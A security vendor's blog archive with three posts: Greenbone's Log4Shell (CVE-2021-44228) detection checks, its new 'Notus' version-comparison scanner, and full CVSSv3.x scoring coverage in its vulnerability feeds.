Tag Archive for: Vulnerability

Elmar Geese

Log4j Vulnerability Detection Available in Greenbone Feeds

Update from 2021-12-20: information about additional vulnerabilities found for Log4j can be found here.

Update from 2021-12-15: the most important FAQ about the Log4j vulnerability detection with Greenbone can be found here.

A critical vulnerability (Log4Shell, CVE-2021-44228) in the widely used Java library Log4j has been discovered. Greenbone has integrated local security checks and active checks via HTTP in their feeds which will help users with the Log4j vulnerability detection to find out if and which of their systems may be affected. Additionally, a special scan configuration which checks precisely for this vulnerability is available for quick results via the feeds.

log4j detection in Greenbone feeds

The vulnerability leads to an extremely critical threat situation, according to the Federal Office for Information Security (BSI). For this reason, the BSI has released a warning of the highest level on the issue. The vulnerability is trivially exploitable, and may allow a complete takeover of the affected systems.

It is a critical risk since attackers can insert code snippets via various ways into the log4j module (e.g., via a regular chat message) and then load code for execution from any LDAP server (which may be under your control).

Customers running Log4j are highly recommend to update their solutions to Log4j version 2.15.0 (or later) to mitigate this flaw, but should be aware of the following:

  • The update currently is “only” restricting access to external LDAP servers by default (will only allow localhost/127.0.0.1) and sets the default of the system property log4j2.formatMsgNoLookups to true.
  • While this mitigates the risk, there may still be applications running Log4j version 2.15.0 that have both (or one) of the above settings incorrect or misconfigured so that the attack vector still exists.

Regarding our solution, customers should be also aware of the following:

  • For a successful detection of this risk, the scanner host needs to be reachable by the target host via TCP.
  • There may be also a flaw in a software which is only gathering and logging the syslog from other remote systems for example, but does not accept logs itself. Such systems could still be attacked by log pollution.
  • It is very important to monitor updates of affected products.
  • In addition, all systems that were vulnerable should be examined for compromise.


Contact Free Trial Buy Here Back to Overview

/by
Markus Feilner

New Vulnerability Scanner “Notus”

The employees of Greenbone are currently developing a completely new scanner for version comparisons. The new vulnerability scanner “Notus” should significantly accelerate the comparison of software versions, CVEs and patches in the future.

Scanner architecture of the new vulnerability scanner

 

A large part of modern vulnerability management consists of comparing software versions. If you want to find out whether your server is immune to a vulnerability, you need to know which version of a particular software is running on that machine. For example, version 1 may be affected by a vulnerability that is already fixed in version 2. Whether vulnerability scanners like the new vulnerability scanner “Notus” issue a warning depends, among other things, heavily on the result of these comparisons.

Björn Ricks, Unit Lead Services & Platforms at Greenbone explains, “Such tasks alone accounted for more than a third of a scanner’s work, and the scanner we have optimized specifically for version comparisons is designed to speed this up significantly.”

Performance Shortcomings of Classic Scanners

At the beginning of the work of a classic scanner is an advisory with a gap found by experts. Greenbone employees then search for matching (affected) software versions and those that have already corrected the error. This information must now be made available to the scanner.

“It then rattles off the relevant servers and records software running there. For the actual scan, it essentially only gets the info about affected and fixed packages,” Ricks explains. “With the OpenVAS scanner and its predecessors, we usually had to start a separate process per version check, meaning a separate manually created script. Generating these scripts automatically is costly.”

JSON Data Helps Speed up the Scanner

The new scanner, on the other hand, only loads the data it needs from files in JSON format, an easy-to-read plain-text standard. “This means the logic for the tests is no longer in the scripts. This has many advantages: fewer processes, less overhead, less memory required.” Ricks believes the approach is “significantly more efficient.”

Elmar Geese, COO of Greenbone explains, “Our new Notus scanner will be a milestone for our users, it will significantly improve performance. Our well-known high detection quality as well as performance are key goals of our product strategy, and the new scanner supports this in an optimal way.”

The “Notus” project consists of two parts: a “Notus” generator, which creates the JSON files containing information about vulnerable RPM/Debian packages, and the “Notus” scanner, which loads these JSON files and interprets the information from them. Greenbone plans to complete the new vulnerability scanner “Notus” in the next few months.

About Greenbone and OpenVAS

When the development team of the vulnerability scanner Nessus decided to stop working under open source licenses and switch to a proprietary business model in 2005, several forks of Nessus were created. Only one of them is still active: the Open Vulnerability Assessment System (OpenVAS).

The founding of Greenbone in 2008 aimed to drive the development of OpenVAS and provide users with professional vulnerability scanning support. Greenbone started to lead the further development of OpenVAS, added several software components and thus transformed OpenVAS into a comprehensive vulnerability management solution that still carries the values of free software. The first appliances hit the market in spring 2010.

Contact Free Trial Buy Here Back to overview
/by
Greenbone AG

Full CVSSv3x Coverage in the Greenbone Feeds

With the help of Greenbone products, known vulnerabilities in an IT infrastructure can be detected and subsequently eliminated. Assessing the severity of a vulnerability is an essential tool for planning and prioritizing subsequent remediation actions. CVSS provides such an assessment according to a metrics system. Since 2021, Greenbone’s current solutions also support CVSS versions 3.0 and 3.1, and at the same time, Greenbone started to provide all vulnerability tests for which a respective rating is available with it. As of October 2021, this work is now complete and there is – as far as possible – full CVSSv3x coverage in the Greenbone feeds.

Helpful Severity Metrics

Every cyber attack needs a vulnerability to be successful. Most vulnerabilities, namely 999 out of 1,000, have already been known for more than a year and can therefore be proactively detected and eliminated. For detection, a Greenbone vulnerability scanner is used, which finds the known vulnerabilities in an IT infrastructure.

If vulnerabilities are discovered, they can subsequently be eliminated using a wide variety of measures. The most urgent vulnerabilities to be eliminated are those that pose a critical risk to the IT system. Prioritization is required for selecting the measures and the order.

The severity is an essential tool for prioritization. However, we will take a closer look at how vulnerabilities are assigned a severity level in the first place and how it is calculated.

How Severity Ratings Are Created

In the past, different organizations and security research teams discovered and reported vulnerabilities at the same time and named them with different names. This resulted in the same vulnerability being reported by, for example, multiple scanners under different names, making communication and comparison of results difficult.

To address this, MITRE founded the Common Vulnerabilities and Exposures (CVE) project. Each vulnerability was given a unique identifier as a central reference, consisting of the year of publication and a simple number. The CVE database is used to link vulnerability databases with other systems and to allow comparison of security tools and services.

CVEs thus do not contain any detailed, technical information or information regarding the risks, effects or elimination of a vulnerability. In some cases, the version in which the vulnerability was removed is stored.

Further information about a vulnerability can be found in the National Vulnerability Database (NVD). The NVD – a U.S. government vulnerability management data repository – supplements CVEs with information regarding remediation, potential impact, affected products, and also the severity of a vulnerability.

How is the Severity of a Vulnerability Calculated?

The Common Vulnerability Scoring System (CVSS) was developed to enable the assessment of vulnerabilities. CVSS is an industry standard for describing the severity of security risks in IT systems. It was developed by the CVSS Special Interest Group (CVSS-SIG) of the Forum of Incident Response and Security Teams (FIRST). The latest CVSS version is 3.1.

The CVSS score evaluates vulnerabilities according to various criteria, so-called “metrics”: base-score metrics, temporal-score metrics and environmental-score metrics.

  • Base-score metrics: base-score metrics represent the basic characteristics of a vulnerability that are independent of time and the IT environment: how well can the vulnerability be exploited and what is the impact?
  • Temporal-score metrics: temporal-score metrics represent characteristics that can change over time but are the same in different IT environments. For example, the deployment of a patch by the deploying organization would lower the score.
  • Environmental-score metrics: environmental-score metrics represent the characteristics that apply to a specific IT environment. Relevant here are how well the affected organization can intercept successful attacks or what status a particular vulnerable system has within the IT infrastructure.

Since, in general, only the base score metrics are meaningful and can be determined permanently, only these are usually published and used.

CVSSv3.0/v3.1 Support Since GOS 21.04

Since GOS 21.04, which was released in April 2021, versions 3.0 and 3.1 of CVSS are also supported. Although some CVEs – and thus also the associated vulnerability tests – still contain version 2 CVSS data, this mainly affects older CVEs from the year 2015 and earlier, for which no CVSSv3.0/v3.1 score is yet stored in the NVD.

Let’s look at the biggest changes that versions 3.0 and 3.1 include.

Compared to CVSS version 2.0, version 3.0 retains the main groups of metrics – base, temporal, and environmental – but adds new criteria. For example, the metrics “Scope (S)”, which indicates whether a vulnerability can also affect other components of an IT network, and “User Interaction (UI)”.

Some existing criteria have also been replaced by newer ones: “Authentication (Au)” has become “Privileges Required (PR)”. It is no longer measured how often attackers have to authenticate themselves to a system, but what level of access is required for a successful attack.

In addition, the severity levels were subdivided more finely. In version 2.0, the values from 0 to 10 were divided into three severity levels: “Low” (0.0 – 3.9), “Medium” (4.9 – 6.9) and “High” (7.0 – 10.0). Since version 3.0, there are five levels: “None” (0.0), “Low” (0.1 – 3.9), “Medium” (4.0 – 6.9), “High” (7.0 – 8.9) and “Critical” (9.0 – 10.0).

CVSS version 3.1 did not bring any changes to the metrics or the calculation formulas. Instead, the focus was on emphasizing that CVSS measures the severity of a vulnerability rather than the risk it poses. A common mistake was to view the CVSS score as the sole characteristic of a vulnerability’s risk, rather than performing a fully comprehensive risk assessment.

In the course of this, the definitions of the metrics were formulated more clearly and the glossary was expanded.

Full CVSSv3.0/v3.1 Coverage in the Feed

With CVSSv3.0/v3.1 support in April 2021, Greenbone began updating all vulnerability tests assigned a CVSSv3.0/v3.1 score in the NVD to include a CVSSv3.0/v3.1 score.

This was done in daily stages of 500 – 600 vulnerability tests. The update and conversion were thoroughly reviewed and tested. Since October 2021, this work has now been completed. Thus, there is – as far as possible – full CVSSv3x coverage in the Greenbone feeds.

Contact Free Trial Buy Here Back to overview
/by